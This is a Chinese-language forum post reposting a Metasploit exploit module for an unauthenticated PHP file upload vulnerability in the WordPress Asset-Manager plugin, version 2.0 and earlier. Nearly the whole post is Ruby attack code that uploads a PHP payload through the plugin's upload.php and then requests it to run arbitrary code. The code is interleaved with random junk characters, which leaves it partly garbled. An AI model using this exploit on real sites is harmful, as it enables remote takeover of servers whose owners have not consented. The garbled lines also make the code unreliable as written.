找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2006|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
' q8 t5 U% f1 V8 i8 H: r3 p5 A% M7 f/ T! J
##
! |) Q) G( |9 x3 T) ^+ F- {! p( w8 q# This file is part of the Metasploit Framework and may be subject to
+ N, p0 H/ \- w- a# redistribution and commercial restrictions. Please see the Metasploit; C4 c" V0 J" B4 x& z
# Framework web site for more information on licensing and terms of use.2 w9 N) ]- w' O1 L4 @( o6 ?
#   http://metasploit.com/framework/2 `( T+ G) r6 {- k! F
##
3 m% J9 L6 z6 c3 b
/ s/ A) k; [" L* M. e  Arequire 'msf/core'2 [: H# A5 o7 {
require 'msf/core/exploit/php_exe'
& h1 C; s( V2 ^4 I; N' T. w1 _
0 D, K# K: R6 Uclass Metasploit3 < Msf::Exploit::Remote
, l+ I! m9 m1 S( {: f! b3 G% u  Rank = ExcellentRanking3 m+ p0 @! L5 E: Y

, L! S: a7 X6 e: Y2 }$ @6 k  include Msf::Exploit::Remote::HttpClient
5 B' M+ d5 r4 a3 }6 D, \+ U  include Msf::Exploit:hpEXE2 r# x9 B: X6 q; n$ `' P" n+ \

  s8 G" Z* [$ A" L# @9 G! W" q  def initialize(info = {})
6 W% r; h$ l1 W+ X! r) q; N    super(update_info(info,
) W# N; N2 G8 b2 ~      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
- d, I1 @  G* _% J      'Description'    => %q{
0 K/ K9 g2 y# T2 T9 J1 G* F) b* k        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress  y/ s! [8 c- D
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
4 ]0 i: T8 p- X        temp directory without authentication, which results in arbitrary code execution.
& B$ k( C  F' I7 O$ Q      },8 O) ], I% [+ X% W- C- v
      'Author'         =>
& f  S2 k. U+ K% t        [. b$ A& Y8 J. c0 Q4 y
          'Sammy FORGIT', # initial discovery
  h& P9 k& K' v9 n2 y- f          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
. K7 v  F- {: y; h        ],& F4 D- ~7 L: N/ t, k+ M6 R, E
      'License'        => MSF_LICENSE,9 Y% i7 ]# H9 d) P& U5 R
      'References'     =>/ ?- T& e% X" X4 ?6 H6 F
        [/ t% V, C4 Q" `  P% |! o/ O/ |
          [ 'OSVDB', '82653' ],. Z! r6 \+ k: f6 w5 ]# \7 z  V
          [ 'BID', '53809' ],( C9 }6 p# N1 C- y6 e3 {; ^
          [ 'EDB', '18993' ],5 Q) k  v1 e: a
          [ 'URL', 'http:// www.myhack58.com /' ]
9 t9 K- u7 i! z8 d' V  t; T) a        ],3 f. g: J* h' l% p
      'Payload'       =>
4 }. {+ U7 C) v' k* Y$ Y) ~        {. [: f' p8 a- j: }7 M' c
          'BadChars' => "\x00",$ x! K$ A/ a: U( }5 {; v- ]
        },0 n/ J" G8 j) _
      'Platform'       => 'php',
: g/ X' p# N+ _      'Arch'           => ARCH_PHP,
3 F* p. K' W! r" f* o      'Targets'        =>
$ T) O2 J7 o# m! v: ~( i        [
4 w5 f1 O* @2 E- _5 P* q6 o          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
7 w& E' P1 `  f  ]8 [          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]8 |. a; k$ [1 N/ Q) U+ d. A3 K( j1 W
        ],
" i; Y/ L+ _# C& W2 @& {3 e      'DefaultTarget' => 0,
# z1 V$ |* c0 a! {/ |- y; s      'DisclosureDate' => 'May 26 2012'))
6 G3 L3 g. G0 @ + ~/ O5 ]6 ~: Z  U
    register_options(9 s! D$ W+ A8 D* W" }4 m0 q
      [6 N7 W0 ]7 a  [& d) n
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
2 h0 ]0 E# ?: d: V+ N      ], self.class)  }  S8 K- S1 O$ q# T- B2 |1 L
  end- ^) B# q8 H# G6 |; K$ o
/ n8 o6 T! `4 s5 J; `% c3 e
  def exploit
( @$ n/ ~4 h% D: ~    uri =  target_uri.path! X% c* @, n8 l# p
    uri << '/' if uri[-1,1] != '/'
7 i+ i9 h; e1 F% Q. Z  f    peer = "#{rhost}:#{rport}"
$ k$ w; q4 H! |    payload_name = "#{rand_text_alpha(5)}.php"; Q$ p9 [7 w7 W2 m9 E
    php_payload = get_write_exec_payload(:unlink_self=>true)+ |/ O/ O! g+ L0 O* h8 {

' p( L9 j% R, Y& o7 W2 o5 X    data = Rex::MIME::Message.new
: ?' b% {  `/ P$ G    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")2 f& ?: c% b* E
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')" f/ n" J: z3 A3 Z/ _

' w8 W  X7 I( {1 G- z2 x* l$ D' x    print_status("#{peer} - Uploading payload #{payload_name}")6 o" Q# ~+ F9 F7 C5 i% w' Y
    res = send_request_cgi({0 W9 y0 |, ^. k, K# y
      'method'  => 'POST',3 z4 k7 t2 D& ?1 K7 Z- l8 k# k; K
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
& U# j, P% b" ^      'ctype'   => "multipart/form-data; boundary=#{data.bound}",1 E! `8 M" T0 G; T5 J
      'data'    => post_data
+ f& E, E* C4 o4 r1 f6 b% ?    })9 G! h2 h0 o- I+ F* ~
# Q5 M% w1 b. M7 E2 t; h  J6 e1 {
    if not res or res.code != 200 or res.body !~ /#{payload_name}/9 ^* H6 C$ |0 F
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
. [; ]1 p1 g. F' k+ dend
! f2 ~0 C6 X0 y; e/ h/ c% k0 N
5 R4 l& x9 n7 R+ L+ S4 }    print_status("#{peer} - Executing payload #{payload_name}")
+ D# B# p1 M: k9 x& \    res = send_request_raw({
+ Y7 U" m  Q, n. H  }# @, n      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",+ p7 r9 a$ c8 j% `. j( c2 W+ z3 @; Z
      'method'  => 'GET'
+ C1 s6 }' z( ]# B- d6 q7 j7 B7 g+ q    })
- J& Q& s3 ]5 M  ^2 {+ _ 0 _" ?& i$ w, ?7 v3 n- O+ k
    if res and res.code != 200# ^# J  d% S8 u8 @% i
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
) M/ Q& b3 s! l8 j    end! r' u+ O! j9 D# h5 n
  end$ Y2 S2 p3 E! G, m5 ?
end2 T2 v1 L1 k% U5 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表